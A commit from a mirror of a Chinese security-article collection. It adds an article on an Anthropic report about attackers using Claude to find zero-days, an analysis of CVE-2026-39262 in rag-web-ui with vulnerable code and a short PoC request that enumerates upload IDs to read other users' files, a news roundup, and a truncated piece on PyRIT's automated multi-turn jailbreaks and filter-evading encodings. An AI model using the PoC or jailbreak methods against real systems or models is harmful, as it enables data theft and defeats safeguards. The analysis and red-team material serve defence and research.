mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
正在获取URL...
chainreactors: 12 个URL BruceFeIix: 20 个URL Doonsec: 30 个URL 总共去重后: 40 个URL 揭秘：企业WiFi的11个隐形漏洞，你的网络中了几个？、紧急安全预警｜AWS SSM Agent曝CVSS 9.9严重SSRF漏洞(CVE-2026-89049)，可窃取EC2临时IAM凭据、关于暂停接收中通子公司中危、低危漏洞报告的通知、能信安：8月安全漏洞态势汇总、【已复现】GitLab CVE-2026-85706 未授权任意文件读取漏洞、无泄漏也能打：INSTAR 摄像头固件到无 ASLR 泄漏 RCE、CVE-2026-39262 分析 | rag-web-ui RAG 越权问题、iPhone18 Pro 新增 Apple Reference Image，以像素签名对抗 AI 图像伪造；CNNVD发布信息安全漏洞周报第849期| 牛览、Anthropic 点名中国黑客+7家AI巨头：长沙学生用Claude搞出十几个0day，阿里被指薅了1.5亿次、紧急安全预警｜GitLab曝CVSS 10.0严重漏洞(CVE-2026-85706)，未认证攻击者可读取任意文件、「PyRIT实测：微软AI红队框架，多轮越狱攻击自动编排，LLM安全漏洞一次摸底」、亿赛通电子文档安全管理系统SecureUsbConnection存在反序列化漏洞、表单提交下的越权删除漏洞、
This commit is contained in:
test committed
1 parent
e939bec0e5
commit
4acdcd7a54
14 files changed
+2027
-1
No files matched your search
@@ -26740,5 +26740,18 @@
|
||||
"https://mp.weixin.qq.com/s/MCFCFY41Y7URuzOhlJAvxQ": "价值图谱 | WEB漏洞扫描产品核心能力介绍",
|
||||
"https://mp.weixin.qq.com/s/azoyt805nHgrJXyV0qKY7g": "每日一学：若依（Ruoyi）框架，你必须知道的四个通用漏洞",
|
||||
"https://mp.weixin.qq.com/s/ISKAINAr_SMsnDsfG9ldfQ": "DeepSeek开源工具爆严重漏洞，AI编程代理可自破沙箱",
|
||||
"https://mp.weixin.qq.com/s/Pqb8nzX84X5R6OrZvCnqqA": "OnePlus会话劫持漏洞导致Android数据泄露"
|
||||
"https://mp.weixin.qq.com/s/Pqb8nzX84X5R6OrZvCnqqA": "OnePlus会话劫持漏洞导致Android数据泄露",
|
||||
"https://mp.weixin.qq.com/s/EPUMtgc4LhWqTLC07X1JEA": "揭秘：企业WiFi的11个隐形漏洞，你的网络中了几个？",
|
||||
"https://mp.weixin.qq.com/s/ExUaUWGcsmV65hut614kvA": "紧急安全预警｜AWS SSM Agent曝CVSS 9.9严重SSRF漏洞(CVE-2026-89049)，可窃取EC2临时IAM凭据",
|
||||
"https://mp.weixin.qq.com/s/Sau0nL0QW6tbIifF0OAujA": "关于暂停接收中通子公司中危、低危漏洞报告的通知",
|
||||
"https://mp.weixin.qq.com/s/0AuN4K7QcXniRvdFHlH_2w": "能信安：8月安全漏洞态势汇总",
|
||||
"https://mp.weixin.qq.com/s/6IZewtwtr5bXtIhbWSuuCw": "【已复现】GitLab CVE-2026-85706 未授权任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s/50SzqdU4bqWqsXU0HSWCYQ": "无泄漏也能打：INSTAR 摄像头固件到无 ASLR 泄漏 RCE",
|
||||
"https://mp.weixin.qq.com/s/Z11WnoCXoENGATvZlv6Eeg": "CVE-2026-39262 分析 | rag-web-ui RAG 越权问题",
|
||||
"https://mp.weixin.qq.com/s/3iRgmnNM5CkoYSe8RXfmGw": "iPhone18 Pro 新增 Apple Reference Image，以像素签名对抗 AI 图像伪造；CNNVD发布信息安全漏洞周报第849期| 牛览",
|
||||
"https://mp.weixin.qq.com/s/6A4JfadSG5PXlmxseKptuA": "Anthropic 点名中国黑客+7家AI巨头：长沙学生用Claude搞出十几个0day，阿里被指薅了1.5亿次",
|
||||
"https://mp.weixin.qq.com/s/y-BrlE8I-Tx8OIN0FqDzog": "紧急安全预警｜GitLab曝CVSS 10.0严重漏洞(CVE-2026-85706)，未认证攻击者可读取任意文件",
|
||||
"https://mp.weixin.qq.com/s/KejUNiJxdQgKsVp94ALqiw": "「PyRIT实测：微软AI红队框架，多轮越狱攻击自动编排，LLM安全漏洞一次摸底」",
|
||||
"https://mp.weixin.qq.com/s/tcaAt4Jg_f3ff9Jx6TSZfQ": "亿赛通电子文档安全管理系统SecureUsbConnection存在反序列化漏洞",
|
||||
"https://mp.weixin.qq.com/s/teOVmSF8KncbQsih3mhDeg": "表单提交下的越权删除漏洞"
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
# Anthropic 点名中国黑客+7家AI巨头：长沙学生用Claude搞出十几个0day，阿里被指薅了1.5亿次
|
||||
原创 hacking
|
||||
hacking Hacking黑白红 2026-09-11 07:49
|
||||
|
||||
****
|
||||
各位网安圈的兄弟们，这几天是不是被 Anthropic（Claude 的母公司）发的那份 2026 年 9 月威胁情报报告刷屏了？
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这份报告可以说是把咱们中国网安从业者和 AI 圈的脸，按在地上摩擦了一遍。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
今天咱们抛开情绪，用大白话聊聊这份报告到底爆了哪些猛料。
|
||||
|
||||
### 🕵️♂️ 长沙大学生的“自动化军火库”
|
||||
###
|
||||
### 报告里给了个编号：GTG-10007。
|
||||
|
||||
|
||||
说的是一个讲中文的小团伙，人大概率在**湖南长沙。**
|
||||
|
||||
|
||||
里头有两个是某高校计算机与通信工程学院的本科生，还有一个曾在深信服实习、面过奇安信的进攻岗——注意啊，报告**没说这两家厂商参与**
|
||||
，别上来就扣帽子。
|
||||
|
||||
|
||||
这伙人干的事儿，听着像科幻片：
|
||||
|
||||
- 把固件丢进去反编译
|
||||
|
||||
- 让Claude提漏洞假设
|
||||
|
||||
- 自动写利用代码
|
||||
|
||||
- 在沙箱里自己验证
|
||||
|
||||
- 24小时扫攻击面、定时扒公开情报
|
||||
|
||||
|
||||
|
||||
|
||||
报告原话：
|
||||
|
||||
一个月搞出**十几个疑似0day**
|
||||
，盯了约50个目标，教培数据、零售生产系统、东南亚政务库全沾了边，还挂了13个定时采集智能体去捞美军方公开材料。
|
||||
>
|
||||
> 💡 网安人一眼就懂：这不是“黑客”，这是**把Claude当CI/CD用的漏洞作坊**。一个人+智能体，干过去一个红队班的活。
|
||||
>
|
||||
|
||||
|
||||
### 🏭 阿里、Kimi、DeepSeek 被指“工业级蒸馏”
|
||||
###
|
||||
|
||||
除了黑客攻击，报告的另一大重头戏是**“非法模型蒸馏”**
|
||||
。
|
||||
|
||||
|
||||
|
||||
|
||||
Anthropic 直接点名了阿里、月之暗面（Kimi）、DeepSeek、智谱、小米、商汤和 MiniMax 这七家中国 AI 公司。
|
||||
|
||||
|
||||
没有字节和豆包。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- **阿里通义千问**
|
||||
：被指是 Anthropic 有史以来测到过的**最大规模蒸馏**
|
||||
。今年 5 到 7 月，通过 3500 多个假账号，交互次数超过 1.51 亿次，硬生生把 Claude 的推理链薅下来喂给了 Qwen 3.5/3.6/3.7。
|
||||
|
||||
-
|
||||
-
|
||||
- **月之暗面 Kimi**
|
||||
：被指在后台偷偷把用户请求转发给 Claude，10 天转发了近 30 万次，还专门建了“思维链提取流水线”。
|
||||
|
||||
-
|
||||
- **DeepSeek**
|
||||
：手法类似，14 天内交互超 1210 万次，被指专门拦截开发者流量转发给 Claude。
|
||||
|
||||
网友总结版
|
||||
|
||||
|
||||
|
||||
|
||||
网友评论：
|
||||
|
||||
“
|
||||
没有被点名的安全公司要看看思考一下了，为什么没有被点名。”
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
###
|
||||
### ⚠️ 咱们该怎么看这事？
|
||||
###
|
||||
|
||||
看完报告，我只想说两点大实话：
|
||||
|
||||
|
||||
第一，**AI 降低了作恶的门槛**
|
||||
。以前搞网络攻击，得是顶尖高手；
|
||||
|
||||
|
||||
现在，几个懂点代码的学生，靠着大模型编排，就能搞出堪比国家级黑客组织的动静。
|
||||
|
||||
|
||||
这对咱们网安行业的防御体系提出了前所未有的挑战。
|
||||
|
||||
|
||||
第二，**别把“技术争议”直接等同于“实锤定罪”**
|
||||
。
|
||||
|
||||
|
||||
Anthropic 这份报告是单方面指控，目前还没有看到被点名公司的官方详细回应，也没有第三方独立审计机构的背书。
|
||||
|
||||
|
||||
特别是蒸馏这块，在 AI 圈本身就游走在“学习借鉴”和“窃取知识产权”的灰色地带，到底怎么界定，还需要更多事实说话。
|
||||
|
||||
|
||||
但不管怎样，大模型时代的网络攻防战，已经不是科幻电影，而是咱们每天要面对的真实战场了。
|
||||
|
||||
|
||||
各位同行，提高警惕吧！
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
# CVE-2026-39262 分析 | rag-web-ui RAG 越权问题
|
||||
原创 AugustTheodor
|
||||
AugustTheodor 重生之成为赛博女保安 2026-09-11 03:11
|
||||
|
||||
## 前言
|
||||
|
||||
本来我是懒得写的。但是最近AI安全系列文章的收视率太低了^ ^。
|
||||
## 漏洞范围
|
||||
|
||||
earlier than 0.7.5
|
||||
## 漏洞编号
|
||||
|
||||
CVE-2026-39262
|
||||
## 漏洞详情
|
||||
|
||||
rag-web-ui是一个RAG知识库管理系统（下称该系统）。在上传文档时，任意登陆用户可以拦截其他用户的临时文档并导入到自己的知识库，从而造成信息泄露。
|
||||
|
||||
要了解这个漏洞的成因，我们得先从其文件上传逻辑看起。在该系统中，文档上传分为三个步骤：上传-预览-处理，如下图所示。
|
||||
|
||||
|
||||
|
||||
该系统使用minio作为文档存储组件。在用户上传文档时，该系统会先将文档存储到minio，然后返回一个文件id（文件名）作为后续处理操作的索引参数。
|
||||
|
||||
这个设计本身没有什么问题，问题在于：
|
||||
|
||||
①在后续两个步骤中，前端接收的参数为文件名，而这个文件名是可顺序枚举的。
|
||||
|
||||
②在处理步骤拉取文件到知识库时，后端没有对文件所有者进行校验。
|
||||
|
||||
了解原理之后我们进一步来看代码。
|
||||
|
||||
/{kb_id}/documents/upload 用于真正上传文档，可以看到，它会直接将文件放入存储桶并返回文件名。
|
||||
```
|
||||
@router.post("/{kb_id}/documents/upload")
|
||||
async def upload_kb_documents(
|
||||
kb_id: int,
|
||||
files: List[UploadFile],
|
||||
db: Session = Depends(get_db),
|
||||
current_user: User = Depends(get_current_user)
|
||||
):
|
||||
|
||||
# 上略......
|
||||
upload = DocumentUpload(
|
||||
knowledge_base_id=kb_id,
|
||||
file_name=file.filename,
|
||||
file_hash=file_hash,
|
||||
file_size=len(file_content),
|
||||
content_type=file.content_type,
|
||||
temp_path=temp_path
|
||||
)
|
||||
db.add(upload)
|
||||
db.commit()
|
||||
db.refresh(upload)
|
||||
|
||||
results.append({
|
||||
"upload_id": upload.id, # 这个ID初始化中没有明文传入，那么它的值就取决于ORM的赋值逻辑
|
||||
"file_name": file.filename,
|
||||
"temp_path": temp_path,
|
||||
"status": "pending",
|
||||
"skip_processing": False
|
||||
})
|
||||
|
||||
return results
|
||||
```
|
||||
|
||||
如上文，我们找到DocumentUpload的声明位置，可以看到这个id是顺序自增的：
|
||||
|
||||
|
||||
|
||||
/{kb_id}/documents/process 用于第三步处理文档，也是在这一步攻击者可以通过枚举file_id来拉取其它用户上传的文件。
|
||||
```
|
||||
@router.post("/{kb_id}/documents/process")
|
||||
async def process_kb_documents(
|
||||
kb_id: int,
|
||||
upload_results: List[dict],
|
||||
background_tasks: BackgroundTasks,
|
||||
db: Session = Depends(get_db),
|
||||
current_user: User = Depends(get_current_user)
|
||||
):
|
||||
# 上略......
|
||||
|
||||
uploads = db.query(DocumentUpload).filter(DocumentUpload.id.in_(upload_ids)).all()
|
||||
# 这里只通过文档id（upload_id）查询文档，所以当文档可枚举时，可以拉取到任意用户的文档
|
||||
|
||||
# 下略......
|
||||
|
||||
return {"tasks": task_info}
|
||||
```
|
||||
|
||||
当然写到这里有读者可能会有疑问了：既然第三步是通过file_id取的，那第二步呢？第二步里存在类似的越权吗？这个问题我也求证过了，很遗憾答案是没有：
|
||||
|
||||
|
||||
|
||||
这个项目的经手人比较多+Vibe Coding的工作方式，不同端点之间出现这样的水平差异很正常。
|
||||
## POC
|
||||
```
|
||||
POST /{kb_id}/documents/process
|
||||
Content-Type: application/json
|
||||
{[
|
||||
{
|
||||
"upload_id": "<id>",
|
||||
"skip_processing": true
|
||||
}
|
||||
]}
|
||||
```
|
||||
|
||||
|
||||
|
||||
+275
@@ -0,0 +1,275 @@
|
||||
# iPhone18 Pro 新增 Apple Reference Image，以像素签名对抗 AI 图像伪造；CNNVD发布信息安全漏洞周报第849期| 牛览
|
||||
安全牛 2026-09-11 03:28
|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
新闻速览
|
||||
|
||||
|
||||
- CNNVD发布信息安全漏洞周报第849期
|
||||
|
||||
|
||||
- 人工智能代理正在向公共服务发送大量新请求
|
||||
|
||||
|
||||
- BlueMoon 漏洞利用工具包曝光，复用 Chrome 与 Windows 漏洞链实施攻击
|
||||
|
||||
|
||||
- Windows Server 多版本 RDS 服务异常，9 月 Patch Tuesday 补丁引发故障
|
||||
|
||||
|
||||
- GTA 6 发售临近，仿冒游戏诱饵催生大规模恶意软件攻击浪潮
|
||||
|
||||
|
||||
- 英伟达给出 70% 营收增长指引，AI 算力系统订单高速攀升
|
||||
|
||||
|
||||
- Astra 算力需求爆发，OpenAI 暂停 Pro 套餐新增订阅
|
||||
|
||||
|
||||
- iPhone18 Pro 新增 Apple Reference Image，以像素签名对抗 AI 图像伪造
|
||||
|
||||
|
||||
- WordPress 上线插件发布自动安全审查，高风险版本将被自动拦截
|
||||
|
||||
|
||||
- Gartner：70%的SOC将试点AI代理，只有15%的人会看到结果
|
||||
|
||||
|
||||
|
||||
|
||||
特别关注
|
||||
|
||||
|
||||
**CNNVD发布信息安全漏洞周报第849期**
|
||||
|
||||
国家信息安全漏洞库（CNNVD）发布2026年第36期信息安全漏洞周报。8月31日至9月6日，CNNVD新增安全漏洞2098个，其中超危226个、高危806个、中危908个、低危158个；已有1471个漏洞发布修复补丁，整体修复率为70.11%。从漏洞类型看，授权问题占比最高，达16.49%。
|
||||
|
||||
|
||||
本周重点通报WebPros cPanel安全漏洞（CNNVD-2026-17225915、CVE-2026-65643）。漏洞源于服务器后端处理域名相关参数时存在动态代码注入缺陷，攻击者持有普通cPanel账户并登录后，即可通过相关API触发漏洞，以root身份执行任意代码，进而完全控制服务器。WebPros cPanel 11.110.0.141之前版本受影响，官方已发布修复版本。
|
||||
|
||||
|
||||
AI相关漏洞同样值得关注。Microsoft Azure AI Language Authoring因关键功能缺少身份验证，可能导致权限提升；vLLM 0.17.0及之前版本在获取用户提供的媒体URL时未限制响应数据大小，攻击者可耗尽服务器内存造成拒绝服务；Ollama 0.30.0至0.33.2在拉取tensor-layer模型时未验证重定向目标，可能导致敏感信息泄露。上述漏洞均已有官方修复措施。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.cnnvd.org.cn/group1/M00/03/11/rBBlZ2qhEJOAJNdcAAVN_dFQF9Q834.pdf
|
||||
|
||||
|
||||
|
||||
热点观察
|
||||
|
||||
|
||||
**人工智能代理正在向公共服务发送大量新请求**
|
||||
|
||||
TechCrunch 于 9 月 10 日报道，研究人员提出 “agentic flooding（代理洪水）” 概念，用以描述 AI 智能代理代用户批量提交公共服务申请、投诉的新现象。AI 工具大幅降低填表、申诉的操作门槛，全球多地公共机构收到的业务请求数量显著上涨。
|
||||
|
||||
|
||||
研究人员 Chris Schmitz 统计数据显示，自 2022 年 ChatGPT 上线后，美国消费者金融保护局（CFPB）投诉总量增长 5 倍；英国住房监察机构的申诉量从 2600 件增至 7000 件以上，规模翻番。研究强调，绝大多数新增诉求并非恶意垃圾信息，申请人本身具备合法主张权利，AI 只是消除了行政流程中的操作障碍，让原本不会发起申请的群体完成提交。
|
||||
|
||||
|
||||
研究团队分析了 11 个司法辖区共 84 起相关案例，这类 AI 代提交请求包含信息公开申请、规划异议、赔偿诉求等多种类型。公共部门当前的人力、流程体系难以快速适配暴增的业务量，若不及时调整机制，后续可能出现处理延迟、资源耗尽等问题。
|
||||
|
||||
|
||||
值得注意的是，该风险区别于传统网络攻击。AI 代理不是直接破坏系统，而是以大量合规请求消耗政务服务资源，属于新型资源耗尽类风险，对公共机构的业务审核、容量规划提出新挑战。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://techcrunch.com/2026/09/10/ai-agents-are-flooding-public-services-with-new-requests/
|
||||
|
||||
|
||||
**Astra 算力需求爆发，OpenAI 暂停 Pro 套餐新增订阅**
|
||||
|
||||
2026 年 9 月 10 日，受全新大模型 Astra 空前高涨的调用需求冲击，OpenAI 宣布暂停每月 200 美元 Pro 套餐的新增订阅，以此缓解算力基础设施负载，保障存量用户的服务稳定性。
|
||||
|
||||
|
||||
该消息由 OpenAI 产品负责人 Thibault (Tibo) Sottiaux 在社交平台 X 对外公布。他表示，Pro 套餐是对系统资源消耗最高的服务档位，本次仅限制新用户开通，现有 Pro 订阅不受影响；Plus、Go 订阅方案以及 API 接口服务维持正常开放状态。
|
||||
|
||||
|
||||
Astra 于 9 月 3 日正式上线，覆盖 Pro、Plus、Enterprise、Business 多个产品层级，该模型推理能力更强，算力消耗也显著高于前代模型。Sottiaux 此前已发出预警，Astra 带来的业务压力前所未有，公司正全力扩充算力容量，但尚未确定恢复 Pro 新订阅的时间节点，也未对外披露具体的需求规模数据。
|
||||
|
||||
|
||||
OpenAI 选择仅暂停 Pro 新注册这一最小干预手段，优先保障存量付费用户的使用体验。这一事件也折射出高性能大模型落地阶段，算力供给与市场爆发式需求之间的突出矛盾。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://techcrunch.com/2026/09/10/openai-puts-pro-subscriptions-on-hold-due-to-astra-demand/
|
||||
|
||||
|
||||
**Gartner：70%的SOC将试点AI代理，只有15%的人会看到结果**
|
||||
|
||||
Gartner 报告指出，到 2028 年，70% 大型 SOC 会试点 AI 代理，用于辅助 Tier1、Tier2 安全运营，但如果缺少结构化评估，仅有 15% 能够获得可量化业务成效。当前 AI SOC 代理处于炒作周期的期望膨胀顶峰阶段。
|
||||
|
||||
|
||||
结合 Prophet Security《2026 安全运营 AI 现状》调研，40% 安全团队已日常使用 AI，56% 正在评估或试点，仅 4% 无采纳计划。72% 使用 AI 的团队，调查耗时至少缩短 25%；但自建 AI 工具中 46% 最终被废弃，主要受维护、人员更迭影响。
|
||||
|
||||
|
||||
Gartner 提出七大评估框架，帮助从业者甄别 “AI washing” 营销噱头，评估维度包括：是否切实降低团队工作负载、TDIR（威胁检测调查响应）业务指标、厂商可持续性、分析师能力提升效果、自动化权限边界、与现有安全栈互操作性、方案透明可审计与数据主权。
|
||||
|
||||
|
||||
调研显示，现阶段行业普遍保守设置 AI 自主权限，57% 要求人工复核每一条 AI 判定，无企业授予完全无监督自主执行权限。报告强调，选型应当以实际安全成效为导向，而非单纯参考厂商功能清单。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.helpnetsecurity.com/2026/09/09/prophet-security-evaluating-ai-soc-agents/
|
||||
|
||||
|
||||
|
||||
安全事件
|
||||
|
||||
|
||||
**Windows Server 多版本 RDS 服务异常，9 月 Patch Tuesday 补丁引发故障**
|
||||
|
||||
2026 年 9 月 10 日，大量 Windows 管理员反馈，微软 9 月 Patch Tuesday 累积更新造成 Windows Server2019、2022、2025 平台的 Remote Desktop Services（RDS）出现严重故障，影响终端服务器业务运行。
|
||||
|
||||
|
||||
受影响补丁编号分别为 KB5122876（Server2019）、KB5122882（Server2022）、KB5122871（Server2025）。服务器安装补丁后，RDS 可短暂正常运行数小时，随后发生异常：已有会话无法正常注销，新远程连接卡在握手阶段无法完成，部分场景只能强制硬重启恢复业务。
|
||||
|
||||
|
||||
部分管理员调试推测故障原因为 RDS 与 Local Session Manager 发生死锁，但微软尚未确认该根因。服务器普通重启无法修复问题，回滚本次 9 月更新可以恢复 RDS 功能，但同时会卸载本月全部安全修复。
|
||||
|
||||
|
||||
截至报道发布，BleepingComputer 已联系微软，尚未得到官方回应，暂无官方缓解方案。安全运维人员需要评估 RDS 业务风险，对相关服务器谨慎部署本次补丁，做好预案。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.bleepingcomputer.com/news/microsoft/september-windows-server-updates-break-remote-desktop-services/
|
||||
|
||||
|
||||
**GTA 6 发售临近，仿冒游戏诱饵催生大规模恶意软件攻击浪潮**
|
||||
|
||||
随着 Grand Theft Auto VI（GTA 6）临近正式发售，安全研究观测到以该游戏为诱饵的恶意软件与诈骗活动数量显著上升，攻击者利用玩家希望提前体验游戏的心理实施攻击。
|
||||
|
||||
|
||||
当前并不存在公开的 GTA 6 测试版、可下载 Demo 以及 PC 端提前泄露版本。攻击者搭建高仿 Rockstar Games 的钓鱼网站，在社交平台、论坛、种子站点散布虚假资源，主要诈骗形式包括虚假 Beta 密钥售卖、伪造游戏安装包、仿冒 Android 测试版应用。
|
||||
|
||||
|
||||
受害者下载运行伪造安装程序后，会触发信息窃取木马，该类恶意软件可读取浏览器保存的账号密码、会话 Cookie，劫持已认证会话，即便开启双因素认证也存在账号被盗风险。部分恶意 ISO 文件填充大量无效数据模拟大型游戏体积，内部仅隐藏体积很小的恶意载荷，还会尝试禁用系统安全防护组件。部分诈骗页面还诱导用户支付加密货币购买虚假抢先体验权限，造成直接财产损失。
|
||||
|
||||
|
||||
安全人员提示，GTA 6 仅会通过官方商店发布，第三方站点提供的抢先下载、测试资格均为骗局，普通用户切勿运行来源不明的游戏安装文件，企业侧可针对该类诱饵 IOC 做好边界检测。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.techradar.com/pro/security/fake-gta-6-malware-is-on-the-rise-as-release-date-nears-here-are-some-of-the-worst-scams-to-look-out-for
|
||||
|
||||
|
||||
|
||||
安全攻防
|
||||
|
||||
|
||||
**BlueMoon 漏洞利用工具包曝光，复用 Chrome 与 Windows 漏洞链实施攻击**
|
||||
|
||||
2026 年 9 月 10 日，安全研究披露名为 BlueMoon 的共享型漏洞利用工具包，Proofpoint 研究人员观测到四个间谍威胁组织，在短短数天内复用同一套攻击链针对 Windows 平台 Chrome 浏览器开展攻击。
|
||||
|
||||
|
||||
攻击以钓鱼邮件作为入口，受害者点击恶意链接后，访问恶意网页，依次利用 Chrome 的 V8JavaScript 引擎两处漏洞，再结合 Windows 漏洞突破浏览器沙箱防护，在主机内获取高权限执行能力。
|
||||
|
||||
|
||||
相关 Chrome 漏洞分别于 9 月 3 日、9 月 8 日推送稳定版补丁，其中第一个漏洞在谷歌发布更新时就已被在野利用；Windows 端漏洞在 9 月 Patch 星期二完成修复，同样存在在野攻击情况。目前 CISA 已将这三处漏洞全部录入 Known Exploited Vulnerabilities（KEV）目录。
|
||||
|
||||
|
||||
该事件凸显补丁发布到用户完成更新的时间差，会被攻击者充分利用。研究人员发现线索，但尚未确认该工具包是否由 AI 辅助开发，AI 可辅助攻击者解析代码变更、编写及修改漏洞代码。
|
||||
|
||||
|
||||
安全团队提示，机构需优先处置 KEV 目录内漏洞；普通用户应及时更新浏览器与操作系统，不点击不明邮件链接，并启用实时反恶意软件防护能力。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.malwarebytes.com/blog/bugs/2026/09/bluemoon-exploit-kit-turns-chrome-and-windows-flaws-into-attacks
|
||||
|
||||
|
||||
|
||||
产业动态
|
||||
|
||||
|
||||
**英伟达给出 70% 营收增长指引，AI 算力系统订单高速攀升**
|
||||
|
||||
在高盛行业会议上，NvidiaCEO 黄仁勋重申，公司下一财年营收有望实现 70% 的同比增长，当前财年营收预计约 4000 亿美元，按该增速测算，下财年营收将接近 6800 亿美元。该增长预期高于市场分析师此前 44% 左右的一致预期，且该数值受供应链产能限制，真实市场需求比指引更为旺盛。
|
||||
|
||||
|
||||
黄仁勋指出，外界容易将 Nvidia 简单理解为 GPU 芯片厂商，但如今公司交付的是整套复杂 AI 算力系统。其主力产品为搭载 36 颗 GraceCPU 与 72 颗 BlackwellGPU 的一体化算力设备，该系统订单月环比增速达到 27%。整套设备包含 200 万个零部件，单套算力硬件成本可达 850 万美元，同时对电力消耗要求极高，Nvidia 正批量对外交付这类大型 AI 集群。
|
||||
|
||||
|
||||
他表示，Nvidia 深度嵌入 AI 产业生态，服务全球主流 AI 实验室与超大规模云厂商，同时持续布局合作伙伴生态与数据中心基础设施建设，企业、主权机构、工业端客户的算力采购正在快速扩张。AI 已经跨过技术拐点，能够产出具备实际价值的业务成果，算力本身已经转变为商业收入来源，这是驱动算力需求持续走高的底层逻辑。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://techcrunch.com/2026/09/10/jensen-huang-explains-why-nvidia-will-grow-an-astounding-70-next-year/
|
||||
|
||||
|
||||
|
||||
新品发布
|
||||
|
||||
|
||||
**iPhone18 Pro 新增 Apple Reference Image，以像素签名对抗 AI 图像伪造**
|
||||
|
||||
2026 年 9 月 10 日，苹果为 iPhone18 Pro、iPhone18 Pro Max 推出可选开启的 Apple Reference Image 图像鉴真功能，旨在应对图片篡改、AI 生成伪造内容等安全风险。
|
||||
|
||||
|
||||
该功能依托主摄全新硬件，拍摄瞬间对每一个像素传感器数据进行签名，经由 Private Cloud Compute 生成不可篡改的数字底片。原始鉴真文件将与普通照片并存于相册，用户可对照比对，判断图片是否被后期修改，同时苹果向 iOS、iPadOS、macOS27 开放对应 API，支持第三方应用读取鉴真信息。
|
||||
|
||||
|
||||
该功能面向新闻摄影从业者及普通用户，苹果计划在后续系统更新接入 SynthID 标准，识别 AI 生成与 AI 编辑图片，形成完整图像真实性校验体系Apple。
|
||||
|
||||
|
||||
该功能将于 9 月 18 日在超 65 个国家上线，但受监管要求，首发阶段中国地区无法启用，欧盟机型也关闭拍摄鉴真数据的能力，不过欧盟设备仍可查看其他设备生成的参考图像，苹果尚未公布上述地区功能开放时间表。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.helpnetsecurity.com/2026/09/10/apple-reference-image-iphone-18-pro/
|
||||
|
||||
|
||||
**WordPress 上线插件发布自动安全审查，高风险版本将被自动拦截**
|
||||
|
||||
WordPress 正式启用自动化安全审查机制，所有插件版本在通过WordPress.org更新 API 分发前，都将接受安全检测，存在潜在安全风险的版本会被自动拦截。
|
||||
|
||||
|
||||
WordPress 官方插件仓库联合负责人 David Perez 表示，插件当前版本安全，不代表后续更新不会引入漏洞或恶意代码，此前版本提交到推送至海量站点之间缺少统一审核环节。该机制的触发契机源于 7 月 28 日的安全事件：一款约 20000 活跃安装量的插件更新被植入后门，依靠人工响应，团队在 Wordfence 告警后的 26 分钟关闭该插件下载通道，但暴露了人工响应的局限性。
|
||||
|
||||
|
||||
自 6 月 5 日起，全部插件、主题更新拥有 6 小时冷却期。冷却阶段，多套 AI 模型与 Jetpack Scan 会分析代码变更，交叉校验后生成安全评分，分数越高风险越大。高风险版本直接阻断，向插件提交者推送告警邮件；未收到邮件代表版本无异常，开发者无需操作。
|
||||
|
||||
|
||||
安全高分不代表开发者主观恶意，无意漏洞与蓄意植入恶意代码会得到相同风险评分。被拦截后，开发者修复问题并重新发布，新版本评分低于阈值即可正常分发；对判定结果存疑可联系 Plugins Team，通常修复重发比申诉人工复核效率更高。团队会持续优化检测规则，降低误报率。
|
||||
|
||||
|
||||
原文链接：
|
||||
|
||||
https://www.helpnetsecurity.com/2026/09/10/wordpress-automated-plugin-security-review/
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**联系我们**
|
||||
|
||||
合作电话：18610811242
|
||||
|
||||
合作微信：aqniu001
|
||||
|
||||
联系邮箱：bd@aqniu.com
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
# 「PyRIT实测：微软AI红队框架，多轮越狱攻击自动编排，LLM安全漏洞一次摸底」
|
||||
原创 句芒安全实验室
|
||||
句芒安全实验室 句芒安全实验室 2026-09-11 03:16
|
||||
|
||||
做过大模型安全的人都有个共同痛点：单条越狱话术手动测，测完发现模型换一次就失效；想上多轮对抗攻击，自己写循环脚本调度模型、记对话、判结果，光搭架子就得耗掉大半天。微软 AI 红队把自己的内部工具开源了出来，就是今天句芒深挖的 PyRIT。
|
||||
## 它是什么：微软官方的"生成式 AI 渗透测试框架"
|
||||
|
||||
PyRIT（Python Risk Identification Tool for generative AI），微软 AI 红队（Microsoft AI Red Team）出品，MIT 开源。GitHub 上 microsoft/PyRIT
|
||||
，2026-09-11 核实 4449 颗星，v1.1.0 发布于 2026-09-04。它不测模型准不准，而是一门心思做攻击：自动生成对抗输入去打你的模型或应用，再把命中情况折算成可读的结果。
|
||||
|
||||
它把红队这件事拆成四个可拼装的积木：
|
||||
- **Target**
|
||||
（目标）：被攻击的对象——OpenAI 部署、Azure ML 端点、本地 Hugging Face/Ollama 模型，或者你应用自己的 HTTP 接口。
|
||||
|
||||
- **Attack**
|
||||
（攻击）：单轮有 PromptSendingAttack
|
||||
，多轮有 CrescendoAttack
|
||||
、TAPAttack
|
||||
、RedTeamingAttack
|
||||
。
|
||||
|
||||
- **Converter**
|
||||
（转换器）：把提示词变形绕过过滤——Base64、ROT13、摩斯码、Leetspeak、凯撒、LLM 翻译改写，还能链式叠加。
|
||||
|
||||
- **Scorer**
|
||||
（评分器）：判定模型有没有"中招"——True/False、Likert 分级、拒绝评分、子串判定、Azure 内容安全、不安全代码检测。
|
||||
|
||||
PyRIT 把每次攻击的提示、回复、评分全落进一个记忆库，跑完可复现、可审计，这对安全流程是硬需求。
|
||||
|
||||
|
||||
## 亮点：多轮攻击才是主菜
|
||||
|
||||
